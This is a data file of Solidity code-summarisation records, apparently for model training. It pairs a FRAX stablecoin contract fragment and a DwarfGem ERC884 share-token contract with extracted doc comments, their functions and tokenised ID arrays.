the refreshCollateralRatio function was called function refreshCollateralRatio() public { require(collateral_ratio_paused == false, "Collateral Ratio has been paused"); require(block.timestamp - last_call_time >= 3600 && frax_price() != 1000000); // 3600 seconds means can be called once per hour, 86400 seconds is per day, callable only if FRAX price is not $1 uint256 tot_collat_value = globalCollateralValue(); // If tot_collat_value > totalSupply(), this will truncate to 0 and underflow below. // Need to multiply by 1e6 to avoid this issue and divide by 1e6 later when used in other places // uint256 globalC_ratio = (totalSupply().mul(1e6)).div(tot_collat_value); uint256 globalC_ratio; if (tot_collat_value == 0) globalC_ratio = 0; else { globalC_ratio = (tot_collat_value.mul(1e6)).div(totalSupply()); // Step increments are .5% if (frax_price() > 1000000) { global_collateral_ratio = globalC_ratio.sub(5000); } else { global_collateral_ratio = globalC_ratio.add(5000); } } last_call_time = block.timestamp; // Set the time of the last expansion } /* ========== RESTRICTED FUNCTIONS ========== */ // Public implementation of internal _mint() function mint(uint256 amount) public virtual onlyByOwnerOrGovernance { _mint(msg.sender, amount); } // Used by pools when user redeems function pool_burn_from(address b_address, uint256 b_amount) public onlyPools { super._burnFrom(b_address, b_amount); emit FRAXBurned(b_address, msg.sender, b_amount); } // This function is what other frax pools will call to mint new FRAX function pool_mint(address m_address, uint256 m_amount) public onlyPools { super._mint(m_address, m_amount); } // Adds collateral addresses supported, such as tether and busd, must be ERC20 function addPool(address pool_address) public onlyByOwnerOrGovernance { frax_pools[pool_address] = true; frax_pools_array.push(pool_address); } // Remove a pool function removePool(address pool_address) public onlyByOwnerOrGovernance { // Delete from the mapping delete frax_pools[pool_address]; // 'Delete' from the array by setting the address to 0x0 for (uint i = 0; i < frax_pools_array.length; i++){ if (frax_pools_array[i] == pool_address) { frax_pools_array[i] = address(0); // This will leave a null in the array and keep the indices the same break; } } } // Adds a new stablecoin oracle function addStablecoinOracle(PriceChoice choice, address oracle_address) public onlyByOwnerOrGovernance { stablecoin_oracles[choice].push(oracle_address); } // Removes an oracle function removeStablecoinOracle(PriceChoice choice, address oracle_address) public onlyByOwnerOrGovernance { // 'Delete' from the array by setting the address to 0x0 for (uint i = 0; i < stablecoin_oracles[choice].length; i++){ if (stablecoin_oracles[choice][i] == oracle_address) { stablecoin_oracles[choice][i] = address(0); // This will leave a null in the array and keep the indices the same break; } } } // Adds an owner function addOwner(address owner_address) public onlyByOwnerOrGovernance { owners.push(owner_address); } // Removes an owner function removeOwner(address owner_address) public onlyByOwnerOrGovernance { // 'Delete' from the array by setting the address to 0x0 for (uint i = 0; i < owners.length; i++){ if (owners[i] == owner_address) { owners[i] = address(0); // This will leave a null in the array and keep the indices the same break; } } } function setRedemptionFee(uint256 red_fee) public onlyByOwnerOrGovernance { redemption_fee = red_fee; } function setMintingFee(uint256 min_fee) public onlyByOwnerOrGovernance { minting_fee = min_fee; } function setFXSAddress(address _fxs_address) public onlyByOwnerOrGovernance { fxs_address = _fxs_address; } function setETHUSDOracle(address _eth_usd_consumer_address) public onlyByOwnerOrGovernance { eth_usd_consumer_address = _eth_usd_consumer_address; eth_usd_pricer = ChainlinkETHUSDPriceConsumer(eth_usd_consumer_address); eth_usd_pricer_decimals = eth_usd_pricer.getDecimals(); } // Sets the FRAX_ETH Uniswap oracle address function setFRAXEthOracle(address _frax_addr, address _weth_address) public onlyByOwnerOrGovernance { frax_eth_oracle_address = _frax_addr; fraxEthOracle = UniswapPairOracle(_frax_addr); weth_address = _weth_address; } // Sets the FXS_ETH Uniswap oracle address function setFXSEthOracle(address _fxs_addr, address _weth_address) public onlyByOwnerOrGovernance { fxs_eth_oracle_address = _fxs_addr; fxsEthOracle = UniswapPairOracle(_fxs_addr); weth_address = _weth_address; } function toggleCollateralRatio() public onlyCollateralRatioPauser { collateral_ratio_paused = !collateral_ratio_paused; } /* ========== EVENTS ========== */ // Track FXS burned event FRAXBurned(address indexed from, address indexed to, uint256 amount); }
Adds collateral addresses supported, such as tether and busd, must be ERC20
function addPool(address pool_address) public onlyByOwnerOrGovernance { frax_pools[pool_address] = true; frax_pools_array.push(pool_address); }
15,836,521
[ 1, 3655, 4508, 2045, 287, 6138, 3260, 16, 4123, 487, 268, 2437, 471, 5766, 72, 16, 1297, 506, 4232, 39, 3462, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 2864, 12, 2867, 2845, 67, 2867, 13, 1071, 1338, 858, 5541, 1162, 43, 1643, 82, 1359, 288, 203, 3639, 284, 354, 92, 67, 27663, 63, 6011, 67, 2867, 65, 273, 638, 31, 7010, 3639, 284, 354, 92, 67, 27663, 67, 1126, 18, 6206, 12, 6011, 67, 2867, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol pragma solidity ^0.4.25; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.4.25; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol pragma solidity ^0.4.25; /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.4.25; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol pragma solidity ^0.4.25; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.4.25; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol pragma solidity ^0.4.25; /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: contracts/token/ERC884/ERC884.sol pragma solidity 0.4.25; /** * An `ERC20` compatible token that conforms to Delaware State Senate, * 149th General Assembly, Senate Bill No. 69: An act to Amend Title 8 * of the Delaware Code Relating to the General Corporation Law. * * Implementation Details. * * An implementation of this token standard SHOULD provide the following: * * `name` - for use by wallets and exchanges. * `symbol` - for use by wallets and exchanges. * * The implementation MUST take care not to allow unauthorised access to share * transfer functions. * * In addition to the above the following optional `ERC20` function MUST be defined. * * `decimals` — MUST return `0` as each token represents a single Share and Shares are non-divisible. * * @dev Ref https://github.com/ethereum/EIPs/pull/884 */ contract ERC884 is ERC20 { /** * This event is emitted when a verified address and associated identity hash are * added to the contract. * @param addr The address that was added. * @param hash The identity hash associated with the address. * @param sender The address that caused the address to be added. */ event VerifiedAddressAdded( address indexed addr, bytes32 hash, address indexed sender ); /** * This event is emitted when a verified address its associated identity hash are * removed from the contract. * @param addr The address that was removed. * @param sender The address that caused the address to be removed. */ event VerifiedAddressRemoved(address indexed addr, address indexed sender); /** * This event is emitted when the identity hash associated with a verified address is updated. * @param addr The address whose hash was updated. * @param oldHash The identity hash that was associated with the address. * @param hash The hash now associated with the address. * @param sender The address that caused the hash to be updated. */ event VerifiedAddressUpdated( address indexed addr, bytes32 oldHash, bytes32 hash, address indexed sender ); /** * This event is emitted when an address is cancelled and replaced with * a new address. This happens in the case where a shareholder has * lost access to their original address and needs to have their share * reissued to a new address. This is the equivalent of issuing replacement * share certificates. * @param original The address being superseded. * @param replacement The new address. * @param sender The address that caused the address to be superseded. */ event VerifiedAddressSuperseded( address indexed original, address indexed replacement, address indexed sender ); /** * Add a verified address, along with an associated verification hash to the contract. * Upon successful addition of a verified address, the contract must emit * `VerifiedAddressAdded(addr, hash, msg.sender)`. * It MUST throw if the supplied address or hash are zero, or if the address has already been supplied. * @param addr The address of the person represented by the supplied hash. * @param hash A cryptographic hash of the address holder's verified information. */ function addVerified(address addr, bytes32 hash) public; /** * Remove a verified address, and the associated verification hash. If the address is * unknown to the contract then this does nothing. If the address is successfully removed, this * function must emit `VerifiedAddressRemoved(addr, msg.sender)`. * It MUST throw if an attempt is made to remove a verifiedAddress that owns Tokens. * @param addr The verified address to be removed. */ function removeVerified(address addr) public; /** * Update the hash for a verified address known to the contract. * Upon successful update of a verified address the contract must emit * `VerifiedAddressUpdated(addr, oldHash, hash, msg.sender)`. * If the hash is the same as the value already stored then * no `VerifiedAddressUpdated` event is to be emitted. * It MUST throw if the hash is zero, or if the address is unverified. * @param addr The verified address of the person represented by the supplied hash. * @param hash A new cryptographic hash of the address holder's updated verified information. */ function updateVerified(address addr, bytes32 hash) public; /** * Cancel the original address and reissue the Tokens to the replacement address. * Access to this function MUST be strictly controlled. * The `original` address MUST be removed from the set of verified addresses. * Throw if the `original` address supplied is not a shareholder. * Throw if the `replacement` address is not a verified address. * Throw if the `replacement` address already holds Tokens. * This function MUST emit the `VerifiedAddressSuperseded` event. * @param original The address to be superseded. This address MUST NOT be reused. */ function cancelAndReissue(address original, address replacement) public; /** * The `transfer` function MUST NOT allow transfers to addresses that * have not been verified and added to the contract. * If the `to` address is not currently a shareholder then it MUST become one. * If the transfer will reduce `msg.sender`'s balance to 0 then that address * MUST be removed from the list of shareholders. */ function transfer(address to, uint256 value) public returns (bool); /** * The `transferFrom` function MUST NOT allow transfers to addresses that * have not been verified and added to the contract. * If the `to` address is not currently a shareholder then it MUST become one. * If the transfer will reduce `from`'s balance to 0 then that address * MUST be removed from the list of shareholders. */ function transferFrom(address from, address to, uint256 value) public returns (bool); /** * Tests that the supplied address is known to the contract. * @param addr The address to test. * @return true if the address is known to the contract. */ function isVerified(address addr) public view returns (bool); /** * Checks to see if the supplied address is a share holder. * @param addr The address to check. * @return true if the supplied address owns a token. */ function isHolder(address addr) public view returns (bool); /** * Checks that the supplied hash is associated with the given address. * @param addr The address to test. * @param hash The hash to test. * @return true if the hash matches the one supplied with the address in `addVerified`, or `updateVerified`. */ function hasHash(address addr, bytes32 hash) public view returns (bool); /** * The number of addresses that hold tokens. * @return the number of unique addresses that hold tokens. */ function holderCount() public view returns (uint); /** * By counting the number of token holders using `holderCount` * you can retrieve the complete list of token holders, one at a time. * It MUST throw if `index >= holderCount()`. * @param index The zero-based index of the holder. * @return the address of the token holder with the given index. */ function holderAt(uint256 index) public view returns (address); /** * Checks to see if the supplied address was superseded. * @param addr The address to check. * @return true if the supplied address was superseded by another address. */ function isSuperseded(address addr) public view returns (bool); /** * Gets the most recent address, given a superseded one. * Addresses may be superseded multiple times, so this function needs to * follow the chain of addresses until it reaches the final, verified address. * @param addr The superseded address. * @return the verified address that ultimately holds the share. */ function getCurrentFor(address addr) public view returns (address); } // File: contracts/token/ERC884/DwarfGem.sol pragma solidity 0.4.25; /** * An `ERC20` compatible token that conforms to Delaware State Senate, * 149th General Assembly, Senate Bill No. 69: An act to Amend Title 8 * of the Delaware Code Relating to the General Corporation Law. * * Implementation Details. * * An implementation of this token standard SHOULD provide the following: * * `name` - for use by wallets and exchanges. * `symbol` - for use by wallets and exchanges. * * In addition to the above the following optional `ERC20` function MUST be defined. * * `decimals` — MUST return `0` as each token represents a single Share and Shares are non-divisible. * * @dev Ref https://github.com/ethereum/EIPs/blob/master/EIPS/eip-884.md */ contract DwarfGem is ERC884, MintableToken { bytes32 constant private ZERO_BYTES = bytes32(0); address constant private ZERO_ADDRESS = address(0); string public name; string public symbol; uint public decimals = 0; mapping(address => bytes32) private verified; mapping(address => address) private cancellations; mapping(address => uint256) private holderIndices; mapping(address => uint256) private restrictedStock; mapping(address => uint256) private restrictedStockSendTime; address[] private shareholders; constructor(string _name, string _symbol) public { name = _name; symbol = _symbol; } /** * This event is emitted when an transferRestrictedStock * is called by the owner (only owner can run this command) * @param owner The address of owner. * @param receiver The receiver. * @param amount the amount of transfer. */ event TransferRestrictedStock( address owner, address indexed receiver, uint256 indexed amount, uint256 indexed restrictedSendTime ); /** * This event is emitted when an updateRestrictedStockSendTime * is called by the owner (only owner can run this command) * @param addr The address will be update restrictedStockSendTime. * @param newRestrictedSendTime the amount of transfer. */ event UpdateRestrictedStockSendTime( address indexed addr, uint256 indexed newRestrictedSendTime ); modifier isVerifiedAddress(address addr) { require(verified[addr] != ZERO_BYTES); _; } modifier isShareholder(address addr) { require(holderIndices[addr] != 0); _; } modifier isNotShareholder(address addr) { require(holderIndices[addr] == 0); _; } modifier isNotCancelled(address addr) { require(cancellations[addr] == ZERO_ADDRESS); _; } /** * As each token is minted it is added to the shareholders array. * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public onlyOwner canMint isVerifiedAddress(_to) returns (bool) { // if the address does not already own share then // add the address to the shareholders array and record the index. updateShareholders(_to); return super.mint(_to, _amount); } /** * The number of addresses that own tokens. * @return the number of unique addresses that own tokens. */ function holderCount() public onlyOwner view returns (uint) { return shareholders.length; } /** * By counting the number of token holders using `holderCount` * you can retrieve the complete list of token holders, one at a time. * It MUST throw if `index >= holderCount()`. * @param index The zero-based index of the holder. * @return the address of the token holder with the given index. */ function holderAt(uint256 index) public onlyOwner view returns (address) { require(index < shareholders.length); return shareholders[index]; } /** * Add a verified address, along with an associated verification hash to the contract. * Upon successful addition of a verified address, the contract must emit * `VerifiedAddressAdded(addr, hash, msg.sender)`. * It MUST throw if the supplied address or hash are zero, or if the address has already been supplied. * @param addr The address of the person represented by the supplied hash. * @param hash A cryptographic hash of the address holder's verified information. */ function addVerified(address addr, bytes32 hash) public onlyOwner isNotCancelled(addr) { require(addr != ZERO_ADDRESS); require(hash != ZERO_BYTES); require(verified[addr] == ZERO_BYTES); verified[addr] = hash; emit VerifiedAddressAdded(addr, hash, msg.sender); } /** * Remove a verified address, and the associated verification hash. If the address is * unknown to the contract then this does nothing. If the address is successfully removed, this * function must emit `VerifiedAddressRemoved(addr, msg.sender)`. * It MUST throw if an attempt is made to remove a verifiedAddress that owns Tokens. * @param addr The verified address to be removed. */ function removeVerified(address addr) public onlyOwner { require(balances[addr] == 0); if (verified[addr] != ZERO_BYTES) { verified[addr] = ZERO_BYTES; emit VerifiedAddressRemoved(addr, msg.sender); } } /** * Update the hash for a verified address known to the contract. * Upon successful update of a verified address the contract must emit * `VerifiedAddressUpdated(addr, oldHash, hash, msg.sender)`. * If the hash is the same as the value already stored then * no `VerifiedAddressUpdated` event is to be emitted. * It MUST throw if the hash is zero, or if the address is unverified. * @param addr The verified address of the person represented by the supplied hash. * @param hash A new cryptographic hash of the address holder's updated verified information. */ function updateVerified(address addr, bytes32 hash) public onlyOwner isVerifiedAddress(addr) { require(hash != ZERO_BYTES); bytes32 oldHash = verified[addr]; if (oldHash != hash) { verified[addr] = hash; emit VerifiedAddressUpdated(addr, oldHash, hash, msg.sender); } } /** * Cancel the original address and reissue the Tokens to the replacement address. * Access to this function MUST be strictly controlled. * The `original` address MUST be removed from the set of verified addresses. * Throw if the `original` address supplied is not a shareholder. * Throw if the replacement address is not a verified address. * This function MUST emit the `VerifiedAddressSuperseded` event. * @param original The address to be superseded. This address MUST NOT be reused. * @param replacement The address that supersedes the original. This address MUST be verified. */ function cancelAndReissue(address original, address replacement) public onlyOwner isShareholder(original) isNotShareholder(replacement) isVerifiedAddress(replacement) { // replace the original address in the shareholders array // and update all the associated mappings verified[original] = ZERO_BYTES; cancellations[original] = replacement; uint256 holderIndex = holderIndices[original] - 1; shareholders[holderIndex] = replacement; holderIndices[replacement] = holderIndices[original]; holderIndices[original] = 0; balances[replacement] = balances[original]; balances[original] = 0; uint256 restrict = restrictedStock[original]; uint256 restrictTime = restrictedStockSendTime[original]; restrictedStock[replacement] = restrict; restrictedStockSendTime[replacement] = restrictTime; restrictedStock[original] = 0; restrictedStockSendTime[original] = 0; emit VerifiedAddressSuperseded(original, replacement, msg.sender); } /** * The `transfer` function MUST NOT allow transfers to addresses that * have not been verified and added to the contract. * If the `to` address is not currently a shareholder then it MUST become one. * If the transfer will reduce `msg.sender`'s balance to 0 then that address * MUST be removed from the list of shareholders. */ function transfer(address to, uint256 value) public isVerifiedAddress(to) returns (bool) { require(availableBalanceOf(msg.sender) >= value); updateShareholders(to); pruneRestrictStock(msg.sender, value); pruneShareholders(msg.sender, value); return super.transfer(to, value); } /** * The `transferRestrictedStock` function MUST NOT allow transfers to addresses that * have not been verified and added to the contract. * If the `to` address is not currently a shareholder then it MUST become one. * If the transfer will reduce `msg.sender`'s balance to 0 then that address * MUST be removed from the list of shareholders. * Also add restrict stock number to restrictedStock and add restrictedStockSendTime * if restrictedStockSendTime[to] is not exist */ function transferRestrictedStock(address to, uint256 value, uint256 time) public onlyOwner isVerifiedAddress(to) returns (bool) { restrictedStock[to] += value; if (restrictedStockSendTime[to] == 0) { restrictedStockSendTime[to] = time; } emit TransferRestrictedStock(msg.sender, to, value, time); return transfer(to, value); } /** * The `updateRestrictedStockSendTime` update restrict stock send time * of a verified address */ function updateRestrictedStockSendTime(address to, uint256 time) public onlyOwner isVerifiedAddress(to) returns (bool) { restrictedStockSendTime[to] = time; emit UpdateRestrictedStockSendTime(to, time); return true; } /** * The `availableBalanceOf` function show current available amount to spend * of a verified address (to) */ function availableBalanceOf(address to) public view isVerifiedAddress(to) returns (uint256) { uint256 all = balances[to]; uint256 restrict = 0; if (now < restrictedStockSendTime[to]) { restrict = restrictedStock[to]; } return all - restrict; } /** * The `restrictedStockOf` function show current restricted stock owned by (_owner) */ function restrictedStockOf(address _owner) public view returns (uint256) { return restrictedStock[_owner]; } /** * The `restrictedStockSendTimeOf` function show current restrictedStockSendTime owned by (_owner) */ function restrictedStockSendTimeOf(address _owner) public view returns (uint256) { return restrictedStockSendTime[_owner]; } /** * The `transferFrom` function MUST NOT allow transfers to addresses that * have not been verified and added to the contract. * If the `to` address is not currently a shareholder then it MUST become one. * If the transfer will reduce `from`'s balance to 0 then that address * MUST be removed from the list of shareholders. */ function transferFrom(address from, address to, uint256 value) public isVerifiedAddress(to) returns (bool) { require(availableBalanceOf(from) >= value); updateShareholders(to); pruneRestrictStock(msg.sender, value); pruneShareholders(from, value); return super.transferFrom(from, to, value); } /** * Tests that the supplied address is known to the contract. * @param addr The address to test. * @return true if the address is known to the contract. */ function isVerified(address addr) public view returns (bool) { return verified[addr] != ZERO_BYTES; } /** * Checks to see if the supplied address is a share holder. * @param addr The address to check. * @return true if the supplied address owns a token. */ function isHolder(address addr) public view returns (bool) { return holderIndices[addr] != 0; } /** * Checks that the supplied hash is associated with the given address. * @param addr The address to test. * @param hash The hash to test. * @return true if the hash matches the one supplied with the address in `addVerified`, or `updateVerified`. */ function hasHash(address addr, bytes32 hash) public view returns (bool) { if (addr == ZERO_ADDRESS) { return false; } return verified[addr] == hash; } /** * Checks to see if the supplied address was superseded. * @param addr The address to check. * @return true if the supplied address was superseded by another address. */ function isSuperseded(address addr) public view onlyOwner returns (bool) { return cancellations[addr] != ZERO_ADDRESS; } /** * Gets the most recent address, given a superseded one. * Addresses may be superseded multiple times, so this function needs to * follow the chain of addresses until it reaches the final, verified address. * @param addr The superseded address. * @return the verified address that ultimately holds the share. */ function getCurrentFor(address addr) public view onlyOwner returns (address) { return findCurrentFor(addr); } /** * Recursively find the most recent address given a superseded one. * @param addr The superseded address. * @return the verified address that ultimately holds the share. */ function findCurrentFor(address addr) internal view returns (address) { address candidate = cancellations[addr]; if (candidate == ZERO_ADDRESS) { return addr; } return findCurrentFor(candidate); } /** * If the address is not in the `shareholders` array then push it * and update the `holderIndices` mapping. * @param addr The address to add as a shareholder if it's not already. */ function updateShareholders(address addr) internal { if (holderIndices[addr] == 0) { holderIndices[addr] = shareholders.push(addr); } } /** * Prune restricted stock if restrictedStockSendTime was ending * @param addr The address to add as a shareholder if it's not already. * @param value The value store amount of sender */ function pruneRestrictStock(address addr, uint256 value) internal { uint256 restrict = restrictedStock[addr]; if (restrict != 0) { if (now > restrictedStockSendTime[addr]) { if (value > restrict) { // remove restrictedStock and restrictedStockSendTime restrictedStock[addr] = 0; restrictedStockSendTime[addr] = 0; } else { restrictedStock[addr] = restrict - value; } } } } /** * If the address is in the `shareholders` array and the forthcoming * transfer or transferFrom will reduce their balance to 0, then * we need to remove them from the shareholders array. * @param addr The address to prune if their balance will be reduced to 0. @ @dev see https://ethereum.stackexchange.com/a/39311 */ function pruneShareholders(address addr, uint256 value) internal { uint256 balance = balances[addr] - value; if (balance > 0) { return; } uint256 holderIndex = holderIndices[addr] - 1; uint256 lastIndex = shareholders.length - 1; address lastHolder = shareholders[lastIndex]; // overwrite the addr's slot with the last shareholder shareholders[holderIndex] = lastHolder; // also copy over the index (thanks @mohoff for spotting this) // ref https://github.com/davesag/ERC884-reference-implementation/issues/20 holderIndices[lastHolder] = holderIndices[addr]; // trim the shareholders array (which drops the last entry) shareholders.length--; // and zero out the index for addr holderIndices[addr] = 0; // zero out restricted sendTime restrictedStockSendTime[addr] = 0; } }
* The `restrictedStockOf` function show current restricted stock owned by (_owner)/
function restrictedStockOf(address _owner) public view returns (uint256) { return restrictedStock[_owner]; }
13,062,519
